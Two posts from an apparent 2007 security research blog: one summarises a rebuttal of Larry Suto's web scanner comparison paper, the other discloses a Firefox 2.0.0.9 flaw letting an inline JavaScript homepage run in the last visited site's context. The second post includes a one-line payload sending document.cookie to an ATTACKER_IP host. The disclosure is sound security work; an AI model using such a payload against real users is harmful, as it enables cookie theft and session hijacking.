Analyzing the Effectiveness and Coverage of Web Application Security Scanners - Take II

2007-12-03T22:26:21+02:00

The following is an overview taken from my whitepaper that discusses Larry Suto's recent paper "Analyzing the Effectiveness and Coverage of Web Application Security Scanners".

Suto's paper, as you may or may not know, caused some stir in the industry, which got some of us busy doing our own analysis to rebut some of its findings and methodology.

In October 2007, Larry Suto published the whitepaper "Analyzing the Effectiveness and Coverage of Web Application Security Scanners". The paper, attempted to quantify the effectiveness of automated web application scanners, and in particular he compared between NTObjective's NTOSpider, HP (SPIDynamics) WebInspect, and IBM Rational AppScan.
Larry's comparative work attempted to analyze the effectiveness of the scanners in four areas:

Links crawled by the scanners' web crawler
Coverage of application code (tested using Fortify's Tracer tool)
Number of verified vulnerabilities that were found
Number of false positives

The paper's conclusion showed a large discrepancy in the number of vulnerabilities detected by WebInspect and AppScan, to those detected by NTOSpider, and in addition it seemed as if WebInspect and AppScan missed a large amount of vulnerabilities (i.e. False Negatives).
My overview, which is presented in this paper, will attempt to shed some light on the results presented in Suto's paper, as well as to rebut its accuracy.
This paper will show that there are fundamental flaws in the original report:

The findings are not appropriate for comparison purposes, as they compare numbers from products that are measuring vulnerabilities at different levels of granularity (i.e. Apples and Oranges).
The methodology used in the original whitepaper is questionable, because it wasn't fully explained.
After requesting information about the test environment and AppScan scan files from the author, our own experiments produced significantly different results from those published in the whitepaper.

The entire whitepaper is available for download here: [Better Untaught Than Ill-Taught]

You can find the original whitepaper written by Larry Suto here.

You should also check out a similar analysis paper written by Jeff Forristal (HP/SPI), that was published a few weeks ago.

Firefox Homepage JavaScript Execution

2007-11-27T16:48:40+02:00

Last month Yair Amit wrote a post about the wild behavior of Internet Explorer's Favorites. Now it's Firefox's turn in the spotlight as I noticed a feature which misbehaves. The feature is that Firefox (tested on version 2.0.0.9) permits you to set an inline JavaScript as a homepage.

The problem inherent with this is that the installed script is executed in the context of the last visited URL, giving an attacker the opportunity to access the domain of last the visited webpage.

For example, the attacker can run a specially crafted HTTP server which logs all incoming requests, and sends an HTTP Redirect reply that contains the victim's real homepage URL.

The attacker must then somehow convince the victim to change his homepage to javascript:location.href='http://<ATTACKER_IP>/'
+document.cookie

When the user clicks on the homepage button, he will be redirected to his original homepage, without noticing that his cookies have been stolen!

Although this is not an invisible attack, nor a very effective one (how often do you click on the Homepage button?), its strength is that it is persistent. Most people do not change their homepage frequently, so once the user has been lured into changing his homepage, months may pass before he discovers that his cookies have been stolen.

It should be mentioned that IE7 rejects inline JavaScripts in the homepage field, thus blocking this kind of attack.

Now it is Yair's turn to find a new vulnerability in Internet Explorer :)